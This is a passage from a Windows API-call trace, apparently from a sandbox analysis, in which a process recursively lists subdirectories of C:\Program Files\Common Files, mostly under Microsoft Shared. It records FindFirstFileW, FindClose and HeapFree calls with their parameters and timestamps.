Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0222.315] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0222.316] GetProcessHeap () returned 0x560000 [0222.316] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0222.316] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0222.796] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0222.796] GetProcessHeap () returned 0x560000 [0222.796] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0222.797] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0222.797] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0222.797] GetProcessHeap () returned 0x560000 [0222.797] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0222.797] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0222.798] GetProcessHeap () returned 0x560000 [0222.798] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0222.802] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0228.232] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0228.791] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0228.792] GetProcessHeap () returned 0x560000 [0228.792] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0228.792] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0229.096] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0229.097] GetProcessHeap () returned 0x560000 [0229.097] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0229.097] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0229.097] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0229.098] GetProcessHeap () returned 0x560000 [0229.098] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0229.098] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0229.098] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0229.099] GetProcessHeap () returned 0x560000 [0229.099] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0229.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0229.823] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0229.824] GetProcessHeap () returned 0x560000 [0229.824] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0229.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0229.853] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0229.853] GetProcessHeap () returned 0x560000 [0229.854] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0229.854] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0229.855] GetProcessHeap () returned 0x560000 [0229.855] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0229.855] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0229.858] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0229.901] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0229.902] GetProcessHeap () returned 0x560000 [0229.902] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0229.902] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0229.916] GetProcessHeap () returned 0x560000 [0229.916] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0229.916] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0230.421] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0230.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0231.472] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0231.472] GetProcessHeap () returned 0x560000 [0231.472] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0231.472] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0231.472] GetProcessHeap () returned 0x560000 [0231.472] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0231.472] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0231.473] GetProcessHeap () returned 0x560000 [0231.473] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0231.473] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0232.419] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0232.419] GetProcessHeap () returned 0x560000 [0232.419] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0232.421] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0232.421] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0232.422] GetProcessHeap () returned 0x560000 [0232.422] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdda88 | out: hHeap=0x560000) returned 1 [0232.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0232.439] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0232.453] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0232.457] GetProcessHeap () returned 0x560000 [0232.457] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0232.457] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0232.458] GetProcessHeap () returned 0x560000 [0232.458] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdda88 | out: hHeap=0x560000) returned 1 [0232.458] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0232.463] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0233.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd48 [0233.107] FindClose (in: hFindFile=0x65bd48 | out: hFindFile=0x65bd48) returned 1 [0233.108] GetProcessHeap () returned 0x560000 [0233.109] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3be0048 | out: hHeap=0x560000) returned 1 [0233.109] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0233.109] GetProcessHeap () returned 0x560000 [0233.109] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0233.110] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0233.110] GetProcessHeap () returned 0x560000 [0233.110] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0233.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0233.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0233.111] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0233.111] GetProcessHeap () returned 0x560000 [0233.111] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0233.111] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0233.111] GetProcessHeap () returned 0x560000 [0233.111] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3be0048 | out: hHeap=0x560000) returned 1 [0233.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0233.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0233.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd48 [0233.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x2ffe728 | out: lpFindFileData=0x2ffe728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd88 [0233.116] FindClose (in: hFindFile=0x65bd88 | out: hFindFile=0x65bd88) returned 1 [0233.116] GetProcessHeap () returned 0x560000 [0233.116] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3bf1058 | out: hHeap=0x560000) returned 1 [0233.116] FindClose (in: hFindFile=0x65bd48 | out: hFindFile=0x65bd48) returned 1 [0233.117] GetProcessHeap () returned 0x560000 [0233.117] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0233.117] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0233.117] GetProcessHeap () returned 0x560000 [0233.117] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0233.117] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0233.118] GetProcessHeap () returned 0x560000 [0233.118] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3be0048 | out: hHeap=0x560000) returned 1 [0233.125] FindClose (in: hFindFile=0x593f80 | out: hFindFile=0x593f80) returned 1 [0233.125] GetProcessHeap () returned 0x560000 [0233.125] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b888f0 | out: hHeap=0x560000) returned 1 [0233.126] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0233.127] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0233.127] GetProcessHeap () returned 0x560000 [0233.127] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b888a8 | out: hHeap=0x560000) returned 1 [0233.127] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0233.129] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, 